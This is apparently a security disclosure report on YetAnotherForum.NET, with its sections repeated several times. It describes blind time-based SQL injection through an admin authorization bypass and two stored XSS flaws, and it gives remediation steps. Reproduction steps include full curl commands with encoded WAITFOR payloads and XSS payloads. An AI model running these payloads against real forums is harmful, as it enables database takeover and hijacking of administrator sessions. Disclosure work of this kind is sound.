• Use the following CURL command: Payload: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' (77 is the character M) URL Encoded Payload: %49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27

curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'

Payload: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' (76 is the character L) URL Encoded Payload: %49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27

curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'

Observe that when the condition is true the response time increases, if false, it remains unchanged which confirms the presence of SQL Injection.

Remediation:

• Convert PageSecurityCheckAttribute from a ResultFilterAttribute to an IAsyncPageFilter so the admin check runs in OnPageHandlerExecutionAsync and short-circuits with AccessDenied() before any handler side effects occur.
• Layer an ASP.NET Core authorization policy as defense-in-depth: AddAuthorization(... AddPolicy("YafAdmin", ...)) combined with AuthorizeFolder("/Admin", "YafAdmin") in the Razor Pages conventions.
• Restrict /Admin/RunSql to HostAdmin only and wrap IDbAccess.RunSql in a statement-type allow-list that rejects non-read-only SQL, even for legitimate admins.
• Audit and fix any other authorization logic implemented in ResultFilterAttribute / OnResultExecuting(Async), they share the same lifecycle bug.
• Add regression tests that invoke each admin OnPost… handler as a non-admin and assert no database or filesystem side effects occur.

Description: Stored (second-order) Cross-Site Scripting (XSS) occurs when attacker-controlled input is persisted through one component of an application and later rendered, without proper sanitization or contextual output encoding, by a completely different component — often one that implicitly trusts the stored data. Because the dangerous sink is typically a privileged administrative interface, the payload executes in the browser of a high-value user (such as an administrator) and inherits their authenticated session. This class of issue is especially severe when the entry point is an HTTP header on an unauthenticated endpoint, since the attack surface extends to any anonymous attacker on the internet with no prerequisites.

Issue Details: The application's database logger (YAFNET.Core/Logger/DbLogger.cs) captures the incoming request's User-Agent header into a JObject, serializes it with JsonConvert, and stores the result in the EventLog.Description column whenever an event (e.g., an unhandled exception) is logged. The admin event-log page (YetAnotherForum.NET/Pages/Admin/EventLog.cshtml.cs) later deserializes that JSON in FormatStackTrace() and interpolates the UserAgent value directly into an HTML string with no encoding, and the Razor view EventLog.cshtml emits the result through @Html.Raw. Critically, the attacker does not need to be authenticated: the unauthenticated endpoint GET /api/Attachments/GetAttachment?attachmentId=2147483647 reliably triggers a server-side exception that is written to dbo.EventLog together with the attacker-controlled User-Agent. A single anonymous request such as curl -A "<img src=x onerror=alert('XSS')>" "http://<target>/api/Attachments/GetAttachment?attachmentId=2147483647" is sufficient to persist the payload, and when an administrator later visits /Admin/EventLog the malicious markup is rendered as live HTML in the admin's authenticated session.

Impact: An entirely unauthenticated attacker, with no account, no CSRF token, and no prior access, can stage JavaScript that will execute in an administrator's browser the next time the Event Log is viewed. Because the script runs in the admin's authenticated origin, it can perform any action the admin can: creating new administrative accounts, modifying site-wide settings, exfiltrating user data through admin-only endpoints. This effectively converts a single anonymous HTTP request into a full forum-takeover primitive, and the lack of any authentication requirement makes it exploitable at internet scale, including by automated scanners.

Likelihood: Exploitation requires only the ability to send a single HTTP request to a public, unauthenticated endpoint, which any anonymous attacker on the internet can do. Administrators routinely review the Event Log as part of normal operations, so payload delivery is highly probable with negligible attacker effort, making the overall likelihood very high.

Steps to Reproduce:

• From an unauthenticated session (no cookies, no tokens), send the following request with a malicious User-Agent header:
  • curl.exe -sS -A "<img src=x onerror=alert('XSS')>" "http://yetanotherforum.internal:8080/api/Attachments/GetAttachment?attachmentId=2147483647"
• Confirm the server returns an error response and that a row has been written to dbo.EventLog containing the attacker-controlled UserAgent value inside the JSON Description.
• As an administrator (e.g., Superuser), navigate to /Admin/EventLog.
• Observe that the rendered page contains the raw <img src=x onerror="alert('XSS')"> element inside the event's badge block, and that the onerror handler executes in the admin's authenticated session, confirming cross-session, cross-privilege script execution from an unauthenticated source.

Description: Stored Cross-Site Scripting (XSS) occurs when user-supplied input is persisted by the application and later rendered in another user's browser without proper sanitization or contextual output encoding. When the vulnerable sink is a high-traffic surface such as a public forum thread, the payload executes in the browser of every user who visits the page, maximizing both reach and impact. Any JavaScript injected through such a sink runs under the application's origin and inherits the privileges of whichever user happens to view the affected content.

Issue Details: The thread posting and reply feature accepts user-supplied content that is stored server-side and later rendered back into the thread page without adequate HTML sanitization or contextual output encoding. Submitting a post or reply containing "><img src=x onerror=prompt(0)> causes the payload to break out of the surrounding HTML context and inject a fully attacker-controlled <img> element whose onerror handler fires automatically as soon as the broken image reference fails to load. Because posts and replies are visible to every user who visits the thread, authenticated or otherwise, the injected JavaScript executes in each viewer's browser the moment the page renders, with no additional interaction required.

Impact: An attacker with a standard forum account can execute arbitrary JavaScript in the browser of every user who loads the affected thread, including moderators and administrators. This enables session/auth-cookie theft, account takeover through same-origin state-changing requests, forced privileged actions if an administrator views the thread, credential phishing via injected login overlays, forum defacement, cryptominer or malware delivery, and mass redirection of viewers to attacker-controlled sites. Because the payload triggers automatically on page load rather than requiring hover or click interaction, a single malicious post can compromise a large number of users very quickly.

Likelihood: Exploitation requires only a registered account with permission to post or reply, which is available to every forum member by default. Once posted, the payload fires automatically for any visitor who opens the thread, requiring zero victim interaction and making the overall likelihood high.

Steps to Reproduce:

• Log in to the forum as any low-privileged user (Attacker).
• Navigate to any thread where posting or replying is allowed, or create a new thread.
• In the post/reply body, submit the payload: "><img src=x onerror=prompt(0)>
• Publish the post or reply.
• Log in as a different user (e.g., Admin) or visit the thread in a separate browser session.
• Open the thread page, the injected <img> fails to load and the onerror handler fires, producing a prompt(0) dialog and confirming arbitrary JavaScript execution in the viewer's session context.

Issue Details: YAFNET's only admin authorization gate is PageSecurityCheckAttribute, implemented as a ResultFilterAttribute that runs after the page handler completes rather than before it. No other gate exists. Any admin OnPost… handler therefore executes its side effects before the filter rewrites the response to a 302 to /Info/4. The most impactful abuse is /Admin/RunSql, whose OnPostRunQuery binds Editor from the POST body and passes it straight to IDbAccess.RunSql with no caller check, yielding arbitrary SQL execution for any low-privileged user.

A deterministic boolean-conditional time oracle was confirmed end-to-end by extracting the first character of @@VERSION: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' produced a ~5-second delay (confirming the byte is M), while IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' returned immediately.

Impact: An attacker holding the lowest-privileged authenticated role, effectively an anonymous attacker on any deployment that permits self-registration, gains arbitrary blind SQL execution against the application's database, with full INSERT/UPDATE/DELETE access to every table including the Identity store (AspNetUsers, yaf_User, yaf_UserRole). This yields full loss of Confidentiality (any column extractable via the time oracle), full loss of Integrity (blind writes to identity, posts, and forum configuration, including self-promotion to HostAdmin), and full loss of Availability (DELETE/DROP/WAITFOR-driven DoS). The impact escalates out of the application's trust domain: if the underlying SQL Server instance has xp_cmdshell or CLR integration enabled (common in development and test builds), the same primitive yields OS-level command execution on the database host. Because the bypass is class-wide, every other admin handler is also callable, multiplying the blast radius across user management, XML imports, and file-writing configuration pages.

Likelihood: Exploitation requires only a registered forum account (self-registration available on most deployments) and a single HTTP POST request. The attack is fully automatable in one request per probe and produces a deterministic time-based oracle with no error handling required, making the overall likelihood very high.

Steps to Reproduce:

• Register or log in to the forum as any low-privileged user.
• Acquire the standard __RequestVerificationToken token from any rendered page and the cookies.
• Use the following CURL command: Payload: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' (77 is the character M) URL Encoded Payload: %49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27

curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'

Payload: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' (76 is the character L) URL Encoded Payload: %49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27

curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'

Observe that when the condition is true the response time increases, if false, it remains unchanged which confirms the presence of SQL Injection.

Remediation:

• Convert PageSecurityCheckAttribute from a ResultFilterAttribute to an IAsyncPageFilter so the admin check runs in OnPageHandlerExecutionAsync and short-circuits with AccessDenied() before any handler side effects occur.
• Layer an ASP.NET Core authorization policy as defense-in-depth: AddAuthorization(... AddPolicy("YafAdmin", ...)) combined with AuthorizeFolder("/Admin", "YafAdmin") in the Razor Pages conventions.
• Restrict /Admin/RunSql to HostAdmin only and wrap IDbAccess.RunSql in a statement-type allow-list that rejects non-read-only SQL, even for legitimate admins.
• Audit and fix any other authorization logic implemented in ResultFilterAttribute / OnResultExecuting(Async), they share the same lifecycle bug.
• Add regression tests that invoke each admin OnPost… handler as a non-admin and assert no database or filesystem side effects occur.

Description: Stored (second-order) Cross-Site Scripting (XSS) occurs when attacker-controlled input is persisted through one component of an application and later rendered, without proper sanitization or contextual output encoding, by a completely different component — often one that implicitly trusts the stored data. Because the dangerous sink is typically a privileged administrative interface, the payload executes in the browser of a high-value user (such as an administrator) and inherits their authenticated session. This class of issue is especially severe when the entry point is an HTTP header on an unauthenticated endpoint, since the attack surface extends to any anonymous attacker on the internet with no prerequisites.

Issue Details: The application's database logger (YAFNET.Core/Logger/DbLogger.cs) captures the incoming request's User-Agent header into a JObject, serializes it with JsonConvert, and stores the result in the EventLog.Description column whenever an event (e.g., an unhandled exception) is logged. The admin event-log page (YetAnotherForum.NET/Pages/Admin/EventLog.cshtml.cs) later deserializes that JSON in FormatStackTrace() and interpolates the UserAgent value directly into an HTML string with no encoding, and the Razor view EventLog.cshtml emits the result through @Html.Raw. Critically, the attacker does not need to be authenticated: the unauthenticated endpoint GET /api/Attachments/GetAttachment?attachmentId=2147483647 reliably triggers a server-side exception that is written to dbo.EventLog together with the attacker-controlled User-Agent. A single anonymous request such as curl -A "<img src=x onerror=alert('XSS')>" "http://<target>/api/Attachments/GetAttachment?attachmentId=2147483647" is sufficient to persist the payload, and when an administrator later visits /Admin/EventLog the malicious markup is rendered as live HTML in the admin's authenticated session.

Impact: An entirely unauthenticated attacker, with no account, no CSRF token, and no prior access, can stage JavaScript that will execute in an administrator's browser the next time the Event Log is viewed. Because the script runs in the admin's authenticated origin, it can perform any action the admin can: creating new administrative accounts, modifying site-wide settings, exfiltrating user data through admin-only endpoints. This effectively converts a single anonymous HTTP request into a full forum-takeover primitive, and the lack of any authentication requirement makes it exploitable at internet scale, including by automated scanners.

Likelihood: Exploitation requires only the ability to send a single HTTP request to a public, unauthenticated endpoint, which any anonymous attacker on the internet can do. Administrators routinely review the Event Log as part of normal operations, so payload delivery is highly probable with negligible attacker effort, making the overall likelihood very high.

Steps to Reproduce:

• From an unauthenticated session (no cookies, no tokens), send the following request with a malicious User-Agent header:
  • curl.exe -sS -A "<img src=x onerror=alert('XSS')>" "http://yetanotherforum.internal:8080/api/Attachments/GetAttachment?attachmentId=2147483647"
• Confirm the server returns an error response and that a row has been written to dbo.EventLog containing the attacker-controlled UserAgent value inside the JSON Description.
• As an administrator (e.g., Superuser), navigate to /Admin/EventLog.
• Observe that the rendered page contains the raw <img src=x onerror="alert('XSS')"> element inside the event's badge block, and that the onerror handler executes in the admin's authenticated session, confirming cross-session, cross-privilege script execution from an unauthenticated source.

Description: Stored Cross-Site Scripting (XSS) occurs when user-supplied input is persisted by the application and later rendered in another user's browser without proper sanitization or contextual output encoding. When the vulnerable sink is a high-traffic surface such as a public forum thread, the payload executes in the browser of every user who visits the page, maximizing both reach and impact. Any JavaScript injected through such a sink runs under the application's origin and inherits the privileges of whichever user happens to view the affected content.

Issue Details: The thread posting and reply feature accepts user-supplied content that is stored server-side and later rendered back into the thread page without adequate HTML sanitization or contextual output encoding. Submitting a post or reply containing "><img src=x onerror=prompt(0)> causes the payload to break out of the surrounding HTML context and inject a fully attacker-controlled <img> element whose onerror handler fires automatically as soon as the broken image reference fails to load. Because posts and replies are visible to every user who visits the thread, authenticated or otherwise, the injected JavaScript executes in each viewer's browser the moment the page renders, with no additional interaction required.

Impact: An attacker with a standard forum account can execute arbitrary JavaScript in the browser of every user who loads the affected thread, including moderators and administrators. This enables session/auth-cookie theft, account takeover through same-origin state-changing requests, forced privileged actions if an administrator views the thread, credential phishing via injected login overlays, forum defacement, cryptominer or malware delivery, and mass redirection of viewers to attacker-controlled sites. Because the payload triggers automatically on page load rather than requiring hover or click interaction, a single malicious post can compromise a large number of users very quickly.

Likelihood: Exploitation requires only a registered account with permission to post or reply, which is available to every forum member by default. Once posted, the payload fires automatically for any visitor who opens the thread, requiring zero victim interaction and making the overall likelihood high.

Steps to Reproduce:

• Log in to the forum as any low-privileged user (Attacker).
• Navigate to any thread where posting or replying is allowed, or create a new thread.
• In the post/reply body, submit the payload: "><img src=x onerror=prompt(0)>
• Publish the post or reply.
• Log in as a different user (e.g., Admin) or visit the thread in a separate browser session.
• Open the thread page, the injected <img> fails to load and the onerror handler fires, producing a prompt(0) dialog and confirming arbitrary JavaScript execution in the viewer's session context.

Issue Details: YAFNET's only admin authorization gate is PageSecurityCheckAttribute, implemented as a ResultFilterAttribute that runs after the page handler completes rather than before it. No other gate exists. Any admin OnPost… handler therefore executes its side effects before the filter rewrites the response to a 302 to /Info/4. The most impactful abuse is /Admin/RunSql, whose OnPostRunQuery binds Editor from the POST body and passes it straight to IDbAccess.RunSql with no caller check, yielding arbitrary SQL execution for any low-privileged user.

A deterministic boolean-conditional time oracle was confirmed end-to-end by extracting the first character of @@VERSION: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' produced a ~5-second delay (confirming the byte is M), while IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' returned immediately.

Impact: An attacker holding the lowest-privileged authenticated role, effectively an anonymous attacker on any deployment that permits self-registration, gains arbitrary blind SQL execution against the application's database, with full INSERT/UPDATE/DELETE access to every table including the Identity store (AspNetUsers, yaf_User, yaf_UserRole). This yields full loss of Confidentiality (any column extractable via the time oracle), full loss of Integrity (blind writes to identity, posts, and forum configuration, including self-promotion to HostAdmin), and full loss of Availability (DELETE/DROP/WAITFOR-driven DoS). The impact escalates out of the application's trust domain: if the underlying SQL Server instance has xp_cmdshell or CLR integration enabled (common in development and test builds), the same primitive yields OS-level command execution on the database host. Because the bypass is class-wide, every other admin handler is also callable, multiplying the blast radius across user management, XML imports, and file-writing configuration pages.

Likelihood: Exploitation requires only a registered forum account (self-registration available on most deployments) and a single HTTP POST request. The attack is fully automatable in one request per probe and produces a deterministic time-based oracle with no error handling required, making the overall likelihood very high.

Steps to Reproduce:

• Register or log in to the forum as any low-privileged user.
• Acquire the standard __RequestVerificationToken token from any rendered page and the cookies.
• Use the following CURL command: Payload: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' (77 is the character M) URL Encoded Payload: %49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27

curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'

Payload: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' (76 is the character L) URL Encoded Payload: %49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27

curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%36%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'

Observe that when the condition is true the response time increases, if false, it remains unchanged which confirms the presence of SQL Injection.

Remediation:

• Convert PageSecurityCheckAttribute from a ResultFilterAttribute to an IAsyncPageFilter so the admin check runs in OnPageHandlerExecutionAsync and short-circuits with AccessDenied() before any handler side effects occur.
• Layer an ASP.NET Core authorization policy as defense-in-depth: AddAuthorization(... AddPolicy("YafAdmin", ...)) combined with AuthorizeFolder("/Admin", "YafAdmin") in the Razor Pages conventions.
• Restrict /Admin/RunSql to HostAdmin only and wrap IDbAccess.RunSql in a statement-type allow-list that rejects non-read-only SQL, even for legitimate admins.
• Audit and fix any other authorization logic implemented in ResultFilterAttribute / OnResultExecuting(Async), they share the same lifecycle bug.
• Add regression tests that invoke each admin OnPost… handler as a non-admin and assert no database or filesystem side effects occur.

Description: Stored (second-order) Cross-Site Scripting (XSS) occurs when attacker-controlled input is persisted through one component of an application and later rendered, without proper sanitization or contextual output encoding, by a completely different component — often one that implicitly trusts the stored data. Because the dangerous sink is typically a privileged administrative interface, the payload executes in the browser of a high-value user (such as an administrator) and inherits their authenticated session. This class of issue is especially severe when the entry point is an HTTP header on an unauthenticated endpoint, since the attack surface extends to any anonymous attacker on the internet with no prerequisites.

Issue Details: The application's database logger (YAFNET.Core/Logger/DbLogger.cs) captures the incoming request's User-Agent header into a JObject, serializes it with JsonConvert, and stores the result in the EventLog.Description column whenever an event (e.g., an unhandled exception) is logged. The admin event-log page (YetAnotherForum.NET/Pages/Admin/EventLog.cshtml.cs) later deserializes that JSON in FormatStackTrace() and interpolates the UserAgent value directly into an HTML string with no encoding, and the Razor view EventLog.cshtml emits the result through @Html.Raw. Critically, the attacker does not need to be authenticated: the unauthenticated endpoint GET /api/Attachments/GetAttachment?attachmentId=2147483647 reliably triggers a server-side exception that is written to dbo.EventLog together with the attacker-controlled User-Agent. A single anonymous request such as curl -A "<img src=x onerror=alert('XSS')>" "http://<target>/api/Attachments/GetAttachment?attachmentId=2147483647" is sufficient to persist the payload, and when an administrator later visits /Admin/EventLog the malicious markup is rendered as live HTML in the admin's authenticated session.

Impact: An entirely unauthenticated attacker, with no account, no CSRF token, and no prior access, can stage JavaScript that will execute in an administrator's browser the next time the Event Log is viewed. Because the script runs in the admin's authenticated origin, it can perform any action the admin can: creating new administrative accounts, modifying site-wide settings, exfiltrating user data through admin-only endpoints. This effectively converts a single anonymous HTTP request into a full forum-takeover primitive, and the lack of any authentication requirement makes it exploitable at internet scale, including by automated scanners.

Likelihood: Exploitation requires only the ability to send a single HTTP request to a public, unauthenticated endpoint, which any anonymous attacker on the internet can do. Administrators routinely review the Event Log as part of normal operations, so payload delivery is highly probable with negligible attacker effort, making the overall likelihood very high.

Steps to Reproduce:

• From an unauthenticated session (no cookies, no tokens), send the following request with a malicious User-Agent header:
  • curl.exe -sS -A "<img src=x onerror=alert('XSS')>" "http://yetanotherforum.internal:8080/api/Attachments/GetAttachment?attachmentId=2147483647"
• Confirm the server returns an error response and that a row has been written to dbo.EventLog containing the attacker-controlled UserAgent value inside the JSON Description.
• As an administrator (e.g., Superuser), navigate to /Admin/EventLog.
• Observe that the rendered page contains the raw <img src=x onerror="alert('XSS')"> element inside the event's badge block, and that the onerror handler executes in the admin's authenticated session, confirming cross-session, cross-privilege script execution from an unauthenticated source.

Description: Stored Cross-Site Scripting (XSS) occurs when user-supplied input is persisted by the application and later rendered in another user's browser without proper sanitization or contextual output encoding. When the vulnerable sink is a high-traffic surface such as a public forum thread, the payload executes in the browser of every user who visits the page, maximizing both reach and impact. Any JavaScript injected through such a sink runs under the application's origin and inherits the privileges of whichever user happens to view the affected content.

Issue Details: The thread posting and reply feature accepts user-supplied content that is stored server-side and later rendered back into the thread page without adequate HTML sanitization or contextual output encoding. Submitting a post or reply containing "><img src=x onerror=prompt(0)> causes the payload to break out of the surrounding HTML context and inject a fully attacker-controlled <img> element whose onerror handler fires automatically as soon as the broken image reference fails to load. Because posts and replies are visible to every user who visits the thread, authenticated or otherwise, the injected JavaScript executes in each viewer's browser the moment the page renders, with no additional interaction required.

Impact: An attacker with a standard forum account can execute arbitrary JavaScript in the browser of every user who loads the affected thread, including moderators and administrators. This enables session/auth-cookie theft, account takeover through same-origin state-changing requests, forced privileged actions if an administrator views the thread, credential phishing via injected login overlays, forum defacement, cryptominer or malware delivery, and mass redirection of viewers to attacker-controlled sites. Because the payload triggers automatically on page load rather than requiring hover or click interaction, a single malicious post can compromise a large number of users very quickly.

Likelihood: Exploitation requires only a registered account with permission to post or reply, which is available to every forum member by default. Once posted, the payload fires automatically for any visitor who opens the thread, requiring zero victim interaction and making the overall likelihood high.

Steps to Reproduce:

• Log in to the forum as any low-privileged user (Attacker).
• Navigate to any thread where posting or replying is allowed, or create a new thread.
• In the post/reply body, submit the payload: "><img src=x onerror=prompt(0)>
• Publish the post or reply.
• Log in as a different user (e.g., Admin) or visit the thread in a separate browser session.
• Open the thread page, the injected <img> fails to load and the onerror handler fires, producing a prompt(0) dialog and confirming arbitrary JavaScript execution in the viewer's session context.

Issue Details: YAFNET's only admin authorization gate is PageSecurityCheckAttribute, implemented as a ResultFilterAttribute that runs after the page handler completes rather than before it. No other gate exists. Any admin OnPost… handler therefore executes its side effects before the filter rewrites the response to a 302 to /Info/4. The most impactful abuse is /Admin/RunSql, whose OnPostRunQuery binds Editor from the POST body and passes it straight to IDbAccess.RunSql with no caller check, yielding arbitrary SQL execution for any low-privileged user.

A deterministic boolean-conditional time oracle was confirmed end-to-end by extracting the first character of @@VERSION: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' produced a ~5-second delay (confirming the byte is M), while IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 76) WAITFOR DELAY '0:0:5' returned immediately.

Impact: An attacker holding the lowest-privileged authenticated role, effectively an anonymous attacker on any deployment that permits self-registration, gains arbitrary blind SQL execution against the application's database, with full INSERT/UPDATE/DELETE access to every table including the Identity store (AspNetUsers, yaf_User, yaf_UserRole). This yields full loss of Confidentiality (any column extractable via the time oracle), full loss of Integrity (blind writes to identity, posts, and forum configuration, including self-promotion to HostAdmin), and full loss of Availability (DELETE/DROP/WAITFOR-driven DoS). The impact escalates out of the application's trust domain: if the underlying SQL Server instance has xp_cmdshell or CLR integration enabled (common in development and test builds), the same primitive yields OS-level command execution on the database host. Because the bypass is class-wide, every other admin handler is also callable, multiplying the blast radius across user management, XML imports, and file-writing configuration pages.

Likelihood: Exploitation requires only a registered forum account (self-registration available on most deployments) and a single HTTP POST request. The attack is fully automatable in one request per probe and produces a deterministic time-based oracle with no error handling required, making the overall likelihood very high.

Steps to Reproduce:

• Register or log in to the forum as any low-privileged user.
• Acquire the standard __RequestVerificationToken token from any rendered page and the cookies.
• Use the following CURL command: Payload: IF (ASCII(SUBSTRING(@@VERSION, 1, 1)) = 77) WAITFOR DELAY '0:0:5' (77 is the character M) URL Encoded Payload: %49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27

curl.exe --path-as-is -i -s -k -X POST `
  -H 'Host: yetanotherforum.internal:8080' `
  -H 'User-Agent: curl/8.18.0' `
  -H 'Accept: */*' `
  -H 'Content-Type: application/x-www-form-urlencoded' `
  -H 'Content-Length: 428' `
  -H 'Connection: keep-alive' `
  -b '<Replace with Cookies>' `
  --data-binary 'Editor=%49%46%20%28%41%53%43%49%49%28%53%55%42%53%54%52%49%4e%47%28%40%40%56%45%52%53%49%4f%4e%2c%20%31%2c%20%31%29%29%20%3d%20%37%37%29%20%57%41%49%54%46%4f%52%20%44%45%4c%41%59%20%27%30%3a%30%3a%35%27&__RequestVerificationToken=<Replace with Token>' `
  -w '\n----\nDNS:        %{time_namelookup}s\nConnect:    %{time_connect}s\nTTFB:       %{time_starttransfer}s\nTotal time: %{time_total}s\nHTTP code:  %{http_code}\n' `
  'http://yetanotherforum.internal:8080/Admin/RunSql?handler=RunQuery'

